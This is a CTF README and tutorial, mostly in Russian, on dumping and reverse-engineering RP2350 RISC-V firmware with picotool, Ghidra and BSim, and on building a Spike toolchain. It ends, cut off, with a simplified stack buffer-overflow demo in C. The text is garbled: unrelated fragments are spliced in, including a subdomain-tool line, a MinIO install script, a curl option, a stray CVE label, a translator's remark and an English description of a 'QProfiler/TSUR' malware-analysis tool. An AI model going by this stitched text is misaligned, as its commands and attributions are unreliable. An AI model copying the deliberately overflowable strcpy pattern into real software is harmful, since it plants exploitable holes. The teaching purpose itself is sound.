
Hardware Hacking CTF hcon2026hwctf - RISCV Hazard3 (@Wren6991) Exploiting by @b1n4ri0 @antoniovazquezblanco & @therealdreg
Если вы интересуетесь аппаратными CTF, вот первый публичный челлендж с HC0N CTF 2026, посвящённый эксплуатации RISC-V RP2350 (низкий уровень)
Мы постарались сделать челлендж не слишком элитарным или сложным, чтобы сотни участников конференции имели шанс его решить. Надеюсь, у нас это получилось.
Если вы хотите запустить CTF дома, возьмите Raspberry Pi Pico 2, залейте эту прошивку и не читайте разборы! -> ctf.uf2
Примечание для тех, кто использует плату (RP2350/RP2354...), отличную от оригинальной CTF:
На PCB CTF есть SMD светодиод на GPIO 25, у вас должен быть светодиод на этом GPIO

Когда вы закончите этот CTF, если он вам понравился, вот ещё один похожий с другими заданиями: https://github.com/therealdreg/ctfhardwarehackingcon2026
ПРЕДУПРЕЖДЕНИЕ: Следующие write-ups содержат спойлеры к заданиям. Если вы хотите решить их самостоятельно, рекомендуем не читать их, пока не завершите CTF.
Первый Победитель: @mrexodia (Duncan Ogilvie) writeups/first_winner.md

Приз: okhi аппаратный кейлоггер USB/PS2 комплект + CWP (Certified WifiChallenge Professional) https://github.com/therealdreg/okhi
Второй Победитель: @M3RINOOOOO (Cristobal Merino Saez) writeups/second_winner.md

Приз: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, PICO2 H, CWP (Certified WifiChallenge Professional)
Третий Победитель: @p4bl0vx (Pablo Moya Lopez) writeups/third_winner.md

Приз: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, CWP (Certified WifiChallenge Professional).
Здесь мы подготовили несколько советов, которые помогут упростить Hardware Hacking CTF на HCON 2026.

Linux хост должен быть вашим первым выбором ;-), отладка работает лучше.
TeraTerm: Setup -> Terminal -> Transmit: CR+LF & [x] Local echo

Другие:
cutecom:``` sudo apt-get update sudo apt-get install cutecom
# ПРЕДУПРЕЖДЕНИЕ
Одно из заданий требует аппаратной отладки. Если вы выполняете задание из дома (без товарища по команде, у которого есть другая плата), то для решения этого задания вам также понадобится купить эти два предмета. (Если вы не купите их, ничего страшного — но вы не сможете решить это конкретное задание.)
- https://www.tiendatec.es/raspberry-pi-pico/2025-raspberry-pi-debug-probe-5056561803265.html
- https://www.tiendatec.es/raspberry-pi-pico/1979-cable-depuracion-pico-jtag-jst-sh-1-0-a-dupont-hembra-15cm-8472496024846.html
# О скриптах
Инструменты, включённые в этот репозиторий, были разработаны @b1n4ri0 для сообщества и специально для соревнования по аппаратному взлому HCON 2026.
# Эксплуатация 3-стадийного процессора RP2350 RISCV Hazard3 (@Wren6991) RV32IMACZb* с отладкой
RISCV Hazard3 — это 3-стадийный процессор RV32IMACZb* с поддержкой отладки. Он используется в микроконтроллере RP2350, который установлен на плате HCON2026HWCTF.
# Дампинг прошивки RISCV Hazard3 с помощью picotool
Дампинг прошивки с устройств RP2350 с помощью `picotool` — это простой процесс. В этом разделе вы узнаете, как делать это эффективно.
Примечание: `picotool` взаимодействует с устройствами RP2350 (и RP2040) только когда они находятся в режиме BOOTSEL или если запущенная прошивка включает поддержку USB stdio из Pico SDK.
## Сборка picotool
Установите необходимые инструменты сборки и библиотеки через ваш любимый менеджер пакетов.```bash
sudo apt-get update
sudo apt install build-essential pkg-config libusb-1.0-0-dev cmake -y
Создайте выделенный каталог для хранения ваших инструментов в упорядоченном виде. Это гарантирует правильность путей, используемых на последующих этапах.```bash cd $HOME mkdir rptools cd rptools
Клонируйте проекты `picotool` и `pico-sdk`, нам нужны как сам инструмент, так и SDK. Обратите внимание, что `picotool` требует `pico-sdk` для корректной компиляции.```bash
git clone https://github.com/raspberrypi/picotool.git
git clone https://github.com/raspberrypi/pico-sdk.git
cd picotool
Создайте директорию сборки и запустите CMake.
Важно: Мы должны использовать флаг -DPICO_SDK_PATH, чтобы указать CMake точное местоположение загруженного SDK на предыдущем шаге, или мы можем установить переменную среды PICO_SDK_PATH.```bash
mkdir build
cd build
cmake -DPICO_SDK_PATH=$HOME/rptools/pico-sdk ..
sudo make install
По умолчанию для доступа к USB-устройствам требуются привилегии root. Скопируйте файл правил udev, чтобы разрешить запуск `picotool` без использования `sudo`.```bash
sudo cp ../udev/60-picotool.rules /etc/udev/rules.d/
Перезагрузите правила udev (или отключите и снова подключите ваше устройство) и проверьте версию, выполнив picotool version, чтобы убедиться, что всё работает:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-15.2.0, Release)
## Использование предварительно собранного бинарного файла
Если вы предпочитаете пропустить процесс сборки, вы можете скачать предварительно скомпилированный бинарный файл из [официального репозитория](https://github.com/raspberrypi/pico-sdk-tools/releases).```bash
gunzip picotool-2.2.0-a4-x86_64-lin.tar.gz
tar -xf picotool-2.2.0-a4-x86_64-lin.tar
cd picotool
Запуск picotool version должен работать как ожидается:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-11.4.0, Release)
## Включение режима BOOTSEL на RP2350
Для выполнения таких операций, как дамп прошивки, `picotool` требует, чтобы устройство находилось в режиме BOOTSEL. Однако `picotool` также может взаимодействовать с устройством, если текущая запущенная прошивка включает поддержку USB stdio из Pico SDK.
Ниже я упомяну несколько способов активации этого режима. Выберите тот, который кажется наиболее подходящим для вашего случая, или просто тот, который работает для вас.
Если ваша плата **не находится в режиме BOOTSEL**, но содержит поддержку USB stdio**,** вы увидите вывод, подобный следующему, при попытке выполнить команды `picotool`:```bash
$ ./picotool info
No accessible RP-series devices in BOOTSEL mode were found.
but:
RP2350 device at bus 1, address 23 appears to have a USB serial connection, so consider -f (or -F) to force reboot in order to run the command.
Используется стандартный аппаратный метод:
BOOTSEL или BOOT.BOOTSEL.Альтернатива (если вы не хотите отключать плату):
BOOTSEL.RESET или RST.BOOTSEL.Теперь вы сможете выполнять команды picotool:```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
### Программное включение BOOTSEL
Если прошивка устройства работает и поддерживает USB stdio, вы можете принудительно перевести его в режим BOOTSEL, не прикасаясь к плате.```bash
./picotool reboot -uf
Команда использует флаг -u, чтобы указать, что мы хотим перезагрузиться именно в режим BOOTSEL. Однако, поскольку устройство в данный момент выполняет пользовательский код, picotool по умолчанию проигнорирует это. Поэтому мы должны добавить флаг -f, чтобы заставить работающее приложение принять команду сброса.
Без -f операция завершилась бы ошибкой просто потому, что инструмент ожидает, что устройство уже находится в режиме BOOTSEL.```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
**Совет:** Вы можете выполнять команды непосредственно на работающем устройстве без предварительной ручной перезагрузки, добавив флаг `-f` к вашей команде. `picotool` выполнит перезагрузку, выполнит команду и перезагрузится обратно в приложение.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
The device was asked to reboot back into application mode.
В этом задании CTF мы можем извлечь прошивку напрямую, не входя в режим BOOTSEL.
Рекомендую собрать информацию о запущенной программе. Это можно сделать с помощью команды info, которая по умолчанию отображает раздел «Program Information». Поскольку устройство в настоящее время выполняет код, мы добавляем флаг -f для принудительного подключения.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information name: hello_usb features: USB stdin / stdout binary start: 0x10000000 binary end: 0x10011d50 target chip: RP2350 image type: RISC-V
The device was asked to reboot back into application mode.
Этот вывод раскрывает важные детали, такие как имя программы, её диапазон памяти и архитектура образа.
Теперь мы переходим к извлечению программы, создаем каталог для хранения извлеченных файлов.```bash
mkdir -p $HOME/hcon2026hwctf/
Выполните следующую команду для извлечения прошивки:```bash ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Эта единственная команда выполняет весь процесс извлечения. Она заставляет RP2350 перезагрузиться в режим BOOTSEL, считывает текущую установленную программу из флэш-памяти и сохраняет её как сырой двоичный файл. Чтобы убедиться в корректности извлечения, данные считываются обратно для проверки, что дамп-файл точно соответствует содержимому чипа.
Вы должны получить вывод, подобный этому:```bash
$ ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Saving file: [==============================] 100%
Wrote 73040 bytes to /home/b1n4ri0/hcon2026hwctf/hello_usb.bin
Verifying Flash: [==============================] 100%
OK
The device was asked to reboot back into application mode.
И это всё — вы успешно дампнули программу!
Примечание: Помните, что вы извлекли только установленную программу, а не всё содержимое флэш-памяти.
Если возникают ошибки, проверьте правильность подключения устройства. Если автоматическая перезагрузка не удалась, вручную войдите в режим BOOTSEL и запустите команду снова без флага -f. Для получения дополнительной информации о доступных опциях просто выполните picotool help <command>.
После извлечения прошивки RP2350 логичным следующим шагом становится реверс-инжиниринг. Для этой задачи мы рекомендуем использовать Ghidra. Однако для точного анализа требуются определённые настройки.
При загрузке бинарного файла и попытке его дизассемблирования вы, скорее всего, столкнётесь с неполными функциями или визуально повреждённым кодом. Это не означает, что ваш дамп не удался. Проблема в том, что Ghidra (включая версию 12.0.2) не может нативно интерпретировать некоторые инструкции, специфичные для данной SoC.
Техническая причина заключается в том, что Ghidra реализует расширения RISC-V C (сжатые) и B (битовые манипуляции) на основе предварительного черновика спецификации (v0.92). В отличие от этого, процессор Hazard3, используемый в RP2350, реализует ратифицированную версию v1.0.0. Следовательно, многие современные инструкции либо неизвестны Ghidra, либо изменились по сравнению с ранними определениями.
Подробную информацию об инструкциях, поддерживаемых Hazard3, можно найти в официальной документации: wren.wtf/hazard3/doc/
Чтобы устранить это несоответствие и добиться корректного дизассемблирования, необходимо обновить определения процессора в Ghidra до ратифицированной спецификации v1.0.0.
Сначала найдите путь к вашей установке Ghidra (например, ~/ghidra_12.0_PUBLIC). Перейдите в каталог процессора RISC-V и переименуйте существующую папку data в качестве резервной копии:```bash
export GHIDRA_INSTALL_DIR=~/ghidra_12.0_PUBLIC
cd $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV
mv data data_back
Далее, клонируйте репозиторий, содержащий обновлённые определения инструкций, и переместите новую папку `data` в вашу установку Ghidra:```bash
cd $HOME
git clone https://github.com/therealdreg/hcon2026hwctf.git
cp -r hcon2026hwctf/RVGhidraImpl/data $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV/
With the patched processor definitions in place, follow these steps to load the binary correctly:
PyGhidra.Non-Shared Project (e.g., hwctf2026).Active Project window.Language field.RISCV and select: RISCV:LE:32:default:gcc (RISCV default 32 little gcc).Ok.CodeBrowser.No.Once the binary is loaded with the correct processor definitions, Ghidra will be able to accurately disassemble the opcodes. However, it is important to note that we are typically dealing with raw .bin files. These files do not inherently contain symbol tables or metadata that facilitate analysis.
The amount of recoverable information depends entirely on the binary's origin. In this case, our target is an RP2350 firmware compiled using pico-sdk v2.2.0. This provides a significant advantage since it uses the official SDK, the binary might be compatible with picotool. This tool allows us to identify and extract metadata, provided the binary still contains the necessary headers for picotool to parse.
By default, Ghidra cannot interpret the memory layout without manual intervention. Attempting to analyze the firmware without a proper memory map will yield poor results and numerous errors. This is due to Ghidra’s architecture, which requires explicit context to resolve references.
In this specific scenario, the program is compiled to execute from SRAM. This means the firmware contains active references to two distinct memory regions with different base addresses. Without a correct configuration, Ghidra struggles to follow the disassembly flow across these regions, significantly complicating the reverse engineering process.
To streamline the setup and ensure consistency, I have developed a script that automates the memory mapping and environment configuration. While this automation simplifies the initial steps, reviewing the script's source code or the repository's README is highly recommended to understand the underlying logic of the analysis workflow. For a deeper technical understanding of the memory layout and peripheral mapping, you should also consult the official RP2350 datasheet.
Both the Ghidra RP2350 Setup Tool and the SVD Loader for PyGhidra have been included directly within this repository. The following sections provide detailed instructions on how to install and use these tools effectively.
The hcon26_rp2350-ctf_auto_setup.py script is designed to automate the initial configuration and static analysis environment for firmware targeting the Raspberry Pi RP2350 (RISC-V Hazard3 core). This tool is specifically developed to support the reverse engineering tasks associated with the H-Con 2026 Hardware Hacking Challenge.
Raw binary firmware inherently lacks the file headers and symbol tables required for automatic loading. This forces analysts to manually configure memory maps, entry points, and processor states before any code becomes readable. This tool automates that entire process, instantly preparing the binary for reverse engineering.
This script eliminates the manual setup overhead typically required for embedded firmware analysis. By automating the loading process, it ensures a consistent and functional Ghidra project, allowing participants to focus immediately on vulnerability research and logic analysis rather than environment configuration.
Automated Environment Configuration: Instantly establishes the correct memory layout for the RP2350, defining the Flash (XIP) and SRAM regions with the appropriate permissions required by the decompiler.
Entry Point Detection: Scans for RP2350-specific headers to identify the true execution start address, handling non-standard boot vectors often encountered in "On-RAM" compiled binaries.
Context Resolution: Automatically initializes the Global Pointer gp register. This ensures that references to global variables and static data are correctly resolved in the decompiler, rather than appearing as broken offsets.
Data Section Reconstruction: Identifies and relocates initialized sections from Flash to RAM, replicating the boot process. This ensures that string literals and global variables appear in their correct memory locations during analysis.
Symbol Recovery: Heuristically identifies the main application logic and the runtime initialization sequence, allowing the analyst to jump directly to the user code without tracing the entire bootloader manually.
con26_rp2350-ctf_auto_setup.py file directly.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. Скопируйте файл скрипта в каталог `ghidra_scripts` вашей установки Ghidra.```bash
cd hcon2026hwctf/GhidraScripts
cp hcon26_rp2350-ctf_auto_setup.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
Импортируйте целевой файл .bin в Ghidra (RV32).
Откройте файл в Code Browser.
При запросе анализа файла выберите Нет.
Откройте Менеджер скриптов Window > Script Manager.
Найдите hcon26_rp2350-ctf_auto_setup.py, расположенный в категории RP2350.
Запустите скрипт и дождитесь вывода в консоль, подтверждающего завершение. Обязательно прочитайте информацию Next Steps, отображаемую в консоли.
После завершения скрипта настройки выполните RP2350 SVD Loader для отображения аппаратных регистров и периферии.
Файлы System View Description (SVD) — это XML-документы, содержащие подробное описание периферийных регистров микроконтроллера. Они определяют адреса памяти, смещения регистров, битовые поля и значения сброса. В реверс-инжиниринге эти файлы необходимы для отображения необработанного адресного пространства двоичного файла в человекочитаемые имена периферии, преобразуя анонимные обращения к памяти в идентифицированные аппаратные взаимодействия.
Этот скрипт является загрузчиком SVD для RP2350 (Pico 2), адаптированным для PyGhidra. Он автоматизирует создание сегментов памяти и определений регистров на основе официальных спецификаций SVD.
Эта версия разработана на основе предыдущих работ, найденных в следующих репозиториях:
Также вы можете использовать https://github.com/antoniovazquezblanco/GhidraSVD, разработанный @antoniovazquezblanco
SVD-Loader-RP2350.py напрямую.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. Скопируйте файл сценария в каталог `ghidra_scripts` вашей установки Ghidra.```bash
cd hcon2026hwctf/GhidraScripts
cp SVD-Loader-RP2350.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
.bin в Ghidra.CodeBrowser.No.Window > Script Manager .SVD-Loader-RP2350.py в категории RP2350.A.
Предоставленные скрипты требуют рабочей среды PyGhidra.
- **Установить зависимости**```bash
pip install pyghidra cmsis-svd
## Устранение неполадок: импорт cmsis-svd
Если `SVD-Loader-RP2350.py` не может найти библиотеку `cmsis-svd`, вы можете установить её непосредственно в интерпретаторе PyGhidra:
1. В **CodeBrowser** перейдите в `Window > PyGhidra`.
2. Выполните следующий фрагмент:```python
import subprocess as s
import sys
s.check_call([sys.executable, "-m", "pip", "install", "cmsis-svd"])
After configuring Ghidra and disassembling the binary, the next objective is to distinguish the challenge's specific functions from those belonging to the SDK.
Typically, the standard tool for this task is Ghidra FID (Function ID). The workflow involves compiling SDK examples with the same configuration as the target binary to generate an FIDB database, this allows Ghidra to identify and name functions automatically. However, FID has a significantly low recognition rate in this case.
To overcome this limitation, we will use BSim. While other alternatives like Version Tracking or Ghidriff exist, they are primarily designed for comparing changes between versions (patch diffing) and are not as effective for this specific purpose.
For Ghidra to identify functions via comparison, we must first generate a reference database by compiling the pico-sdk examples. If you want to optimize your time, you can focus on the four essential binaries mentioned at the end of this section.
Clone the official examples repository:```bash git clone https://github.com/raspberrypi/pico-examples.git cd pico-examples mkdir build cd build
### Расширение для Raspberry Pi Pico
Для использования этих путей должно быть установлено расширение Raspberry Pi Pico для VS Code. Эти структуры каталогов являются родными для среды расширения.
После установки расширения настройте свой проект, выбрав **Тип платы: Pico 2** и **Архитектура (pico2): RISC-V**. Простое создание проекта с этими настройками приведет к установке всех необходимых ресурсов. Для этого случая не требуется дополнительная компиляция.
Мы будем использовать специфическую конфигурацию для RP2350 Hazard3, гарантируя, что символы и форматирование соответствуют двоичному файлу задачи.```bash
export PICO_SDK_PATH="$HOME/.pico-sdk/sdk/2.2.0"
export PICO_TOOLCHAIN_PATH="$HOME/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3"

Быстро находите интересные поддомены с помощью рабочего процесса subdomain в Secator.```bash
cmake -DPICO_PLATFORM=rp2350-riscv
-DPICO_BOARD=pico2
-DPICO_COMPILER=pico_riscv_gcc
-DCMAKE_BUILD_TYPE=Debug
-DPICO_DEFAULT_BINARY_TYPE=copy_to_ram
-DPICO_STDIO_USB=1
-DPICO_STDIO_UART=0
-DCMAKE_C_FLAGS="-march=rv32ima_zicsr_zifencei_zba_zbb_zbs_zbkb_zca_zcb_zcmp -mabi=ilp32 -O0 -g3 -fno-omit-frame-pointer -fno-lto"
-DCMAKE_EXE_LINKER_FLAGS="-Wl,--print-memory-usage"
..
```sh
#!/bin/bash
set -e
# установите CLI
if ! command -v mc &> /dev/null ; then
if [ "$(uname -m)" = "aarch64" ]; then
echo " установка mc cli для aarch64" 1>&2
wget -qO /usr/local/bin/mc https://dl.min.io/client/mc/release/linux-arm64/mc
chmod +x /usr/local/bin/mc
else
echo " установка mc cli для x86_64" 1>&2
wget -qO /usr/local/bin/mc https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x /usr/local/bin/mc
fi
fi
# проверить, существует ли mc
if command -v mc &> /dev/null ; then
echo " mc cli найден: $(command -v mc)" 1>&2
else
echo " mc cli не найден" 1>&2
exit 1
fi
# последняя версия также выпускается как тег `latest`, возможно, также добавить это в json
echo " " 1>&2
echo " URL артефакта: https://example.com/artifact/tool/1.0.0/tool_1.0.0_linux_amd64.tar.gz возможно, просто сам URL артефакта" 1>&2
echo " " 1>&2
exit 0
``````bash
make -j$(nproc) -k
Как только компиляция завершена, сгруппируйте все файлы .elf в отдельную директорию для более легкого анализа:```bash
mkdir ../sdk-elfs
find . -name "*.elf" -exec cp --backup=numbered {} ../sdk-elfs/ ;
### Автоматизированный анализ с Ghidra Headless
Для обработки большого объема сгенерированных файлов наиболее эффективно использование безголового режима Ghidra. Убедитесь, что вы запускаете анализ, указывая на проект, в котором уже настроена бинарная программа задания:```bash
# Run $GHIDRA_INSTALL_DIR/support/analyzeHeadless to check the usage
$GHIDRA_INSTALL_DIR/support/analyzeHeadless $HOME/hcon2026hwctf hwctf2026 -import pico-examples/sdk-elfs -recursive -processor "RISCV:LE:32:default"
If you prefer to reduce analysis time, process at least these four files, which contain the majority of the SDK functions present in the challenge:
tinyusb_dev_cdc_msc.elfmulticore_runner_queue.elfhello_gpio_irq.elfhello_timer.elfКогда традиционная сигнатурная идентификация (FID) недостаточна, BSim является наиболее мощной альтернативой. В отличие от других методов, BSim основан на поведении и структуре кода, что позволяет проводить кроссплатформенные сравнения и игнорировать вариации, вызванные уровнями оптимизации.
Хотя можно использовать графический интерфейс, выполнение настройки через терминал более эффективно при обработке нескольких бинарных файлов.```bash cd $GHIDRA_INSTALL_DIR/support
Создайте файл базы данных H2:```bash
# Run ./bsim to check the usage
./bsim createdatabase file:/<db_directory_path>/pico_db medium_nosize
Извлеките сигнатуры из двоичных файлов, уже проанализированных в проекте Ghidra:```bash mkdir ~/bsim_sigs ./bsim generatesigs ghidra:$HOME/hcon2026hwctf/hwctf2026 ~/bsim_sigs --bsim file:/<db_directory_path>/pico_db
Завершите процесс, зафиксировав сгенерированные подписи в нашей базе данных:```bash
./bsim commitsigs file:/<db_directory_path>/pico_db ~/bsim_sigs
После создания базы данных свяжите её с Code Browser:
BSim > Manage Servers.зелёную иконку "+" и выберите тип File.Dismiss, чтобы закрыть окно.Существует несколько способов поиска совпадений с помощью BSim, наиболее рекомендуемый из них:
BSim > Search functions.Similarity Threshold для поиска функций, претерпевших небольшие изменения при компиляции.Совет: Если вы уверены в правильности функции, но её внутренние ("дочерние") функции остались безымянными, используйте окно результатов BSim:
Shift + C, чтобы открыть сравнение.Compare matching callees.Если опция BSim не подходит для ваших задач, вы можете использовать Version Tracking.
В главном окне Ghidra найдите синюю иконку следов в правой части Tool Chest, чтобы открыть инструмент Version Tracking.
синюю иконку следов в меню слева вверху, чтобы создать новый сеанс.tinyusb_dev_cdc_msc).Finish.Откроются три окна: Source Tool, Destination Tool и консоль Version Tracking.
зелёную иконку "+" (Add additional correlations).Finish и дождитесь завершения процесса. Как правило, алгоритмы на основе BSim дают наиболее надёжные результаты.После получения результатов Version Tracking существуют две основные методологии применения изменений к бинарному файлу задания:
Для реализации второй стратегии необходимо отфильтровать результаты, чтобы сосредоточиться на наиболее сильных совпадениях:
Filter введите «Function», чтобы отобразить только корреляции функций.Чтобы подтвердить и перенести имена в бинарный файл назначения, используйте зелёную иконку галочки (расположенную между иконками флага и диска).
В зависимости от вашего стиля анализа вы можете выбрать один из двух подходов:
main. По мере обнаружения неизвестных функций используйте BSim для их идентификации.Выберите метод, который лучше всего подходит для вас.
Дополнительная информация о BSim:
sudo apt-get update sudo apt-get install git build-essential autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler libboost-regex-dev libboost-system-dev
**Шаг 4:** Убедитесь, что в вашей системе установлены следующие пакеты разработчика:
- build-essential
- zlib1g-dev
- libncurses5-dev
- libgdbm-dev
- libnss3-dev
- libssl-dev
- libsqlite3-dev
- libreadline-dev
- libffi-dev
- curl
- libbz2-dev```
cd /home/dreg
mkdir RISCV
export RISCV=/home/dreg/RISCV
export PATH=$PATH:$RISCV/bin
-cq, --cookie-jar <cookie-jar> Укажите файл для использования в качестве cookie jar [по умолчанию: nom-cookies.txt]```
cd /home/dreg/RISCV/riscv-gnu-toolchain
mkdir build
cd build
../configure --prefix=$RISCV --with-arch=rv32imac_zicsr_zifencei_zba_zbb_zbs --with-abi=ilp32
make
CVE-2024-23897``` cd /home/dreg/RISCV/riscv-pk mkdir build cd build ../configure --prefix=$RISCV --host=riscv32-unknown-elf make make install
The input is empty, so there is no text to translate. The output is also empty.```
cd /home/dreg/RISCV/riscv-isa-sim
mkdir build
cd build
../configure --prefix=$RISCV --enable-histogram
make
make install
poc.c (/home/dreg/RISCV/poc.c)``` #include <stdio.h> int main() { printf("Hello Dreg RISCV!\n"); return 0; }
Скомпилируйте poc.c```
cd /home/dreg/RISCV
/home/dreg/RISCV/bin/riscv32-unknown-elf-gcc -march=rv32imac_zicsr_zifencei_zba_zbb_zbs -mabi=ilp32 -static -g poc.c -o poc
Выполните PoC на Spike``` cd /home/dreg/RISCV /home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
Вывод должен быть:```
Hello Dreg RISCV!
Поздравляем, вы успешно скомпилировали и запустили программу на RISCV с помощью эмулятора Spike!
Отладка функции main:``` cd /home/dreg/RISCV/ /home/dreg/RISCV/bin/riscv32-unknown-elf-objdump -D poc
функция main в моем случае по адресу 0x00010154```
.....
0001016a <main>:
1016a: 1141 addi sp,sp,-16
1016c: c606 sw ra,12(sp)
1016e: c422 sw s0,8(sp)
10170: 0800 addi s0,sp,16
10172: 67c9 lui a5,0x12
10174: 43c78513 addi a0,a5,1084 # 1243c <__errno+0x6>
10178: 26ad jal 104e2 <puts>
1017a: 4781 li a5,0
1017c: 853e mv a0,a5
1017e: 40b2 lw ra,12(sp)
10180: 4422 lw s0,8(sp)
10182: 0141 addi sp,sp,16
10184: 8082 ret
.....
This is a fork of the original qprofiler tool by @botherder, extending it by adding QEMU profile support for modern Windows systems and providing additional functionality. Additionally, integration with the Tool for Subverting Runtimes (TSUR) agent is provided. Key features of this new functionality are:
QProfiler creates a VM of 100GB with the following settings:
adminadmin
There are two usage modes:
qprofiler windows -iso /path/to/windows.iso -V /path/to/profile.vm -p "admin" -S snapshot_name
qprofiler windows-tsur -V /path/to/profile.vm -S "snapshot_name" -f /path/to/malware.exe -t 120 -p "admin" --tsur /path/to/tsur/agent.exe
./qprofiler windows-tsur -h will display the help message:
usage: qprofiler windows-tsur [-h] -V VMX -S SNAPSHOT [-p PASSWORD] -f FILE -t TIME [--tsur TSUR_PATH] [-o OUTPUT] [-r RESIZE] [-P] [-d]
options:
-h, --help show this help message and exit
-V VMX, --vmx VMX Path to the VMX file
-S SNAPSHOT, --snapshot SNAPSHOT
Name of the snapshot to restore
-p PASSWORD, --password PASSWORD
Password for the VM user
-f FILE, --file FILE Path to the malware sample to analyze
-t TIME, --time TIME Duration to let the sample run (in seconds)
--tsur TSUR_PATH Path to the TSUR agent executable. If not specified, built-in agent is used.
-o OUTPUT, --output OUTPUT
Output directory for analysis results (default: ./analysis_output on Linux, QPROFILER_OUTPUT on Windows)
-r RESIZE, --resize RESIZE
Resize the disk to the specified size (e.g., 20G, 100M)
-P, --packetcapture Enable packet capture
-d, --delete-snapshot-after-run
Delete snapshot after analysis run
More info: /? | help
The paths must be fully qualified paths to the files. Relative paths are accepted for the ISO image file and VMX profile file.
QProfiler's output includes:
Traditional malware analysis relies heavily on debugger-based monitoring or external agents that can be easily detected by sophisticated malware. By injecting TSUR into the QEMU process before the malware runs, we strip away the Windows debugging interface and operate in a completely transparent manner to the guest OS. This approach evades most anti-analysis and anti-debugging techniques, as the agent runs outside the guest and monitors from the hypervisor level.
Furthermore, leveraging QEMU's snapshot capabilities, QProfiler can reset the VM to a known-clean state after each analysis, thus saving time and resources by avoiding repetitive OS installations. Combined with TSUR, this provides a robust, stealthy, and efficient dynamic analysis environment for Windows malware.
This project was originally inspired by qprofiler by botherder. The TSUR integration and additional features were developed by Mandiant FLARE Team.
Note: For a comprehensive guide on the TSUR agent and its capabilities, refer to the official TSUR repository.
This project is licensed under the Apache License 2.0 - see the LICENSE file for details.``` cd /home/dreg/RISCV/ /home/dreg/RISCV/bin/spike -d --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
Внутри отладчика spike:```
(spike) until pc 0 0x0001016a
(spike) pc 0
0x0001016a
Теперь вы находитесь в начале функции main, нажмите Enter, чтобы проходить инструкции одну за другой.``` (spike) core 0: 0x0001016a (0x00001141) c.addi sp, -16 (spike) core 0: 0x0001016c (0x0000c606) c.swsp ra, 12(sp) (spike) core 0: 0x0001016e (0x0000c422) c.swsp s0, 8(sp) (spike) core 0: 0x00010170 (0x00000800) c.addi4spn s0, sp, 16
Вы можете использовать команду `help`, чтобы увидеть больше опций.
Spike — это ОЧЕНЬ простой отладчик, поэтому для более эффективного анализа памяти и кода комбинируйте внешние утилиты `riscv32-unknown-elf-objdump`, `dump` (команда spike) + внешний `hexdump`...
## Пример POC (упрощённый)
Упрощённый пример POC классического переполнения буфера на RISCV Hazard3 с использованием эмулятора Spike.
В RISCV адрес возврата может храниться в регистре, а не на стеке, как в x86. Чтобы активировать перезапись адреса возврата через стек, я добавил вложенные вызовы функций для помещения адреса возврата на стек.
test.c```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
static unsigned char buff[0x100] = { 0 };
static void __attribute__((optimize("O0"))) func3(unsigned char* exbuff)
{
strcpy((char*)exbuff, (char*)buff);
}
static void __attribute__((optimize("O0"))) func2(unsigned char* exbuff)
{
func3(exbuff);
}
static void __attribute__((optimize("O0"))) func1(void)
{
unsigned char exbuff[10] = { 0 };
func2(exbuff);
}
static void __attribute__((optimize("O0"))) func_impossible(void)
{
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("good hacker!\n");
exit(0);
}
int main(int argc, char* argv[])
{
printf("\nhttps://github.com/therealdreg/hcon2026hwctf\n");
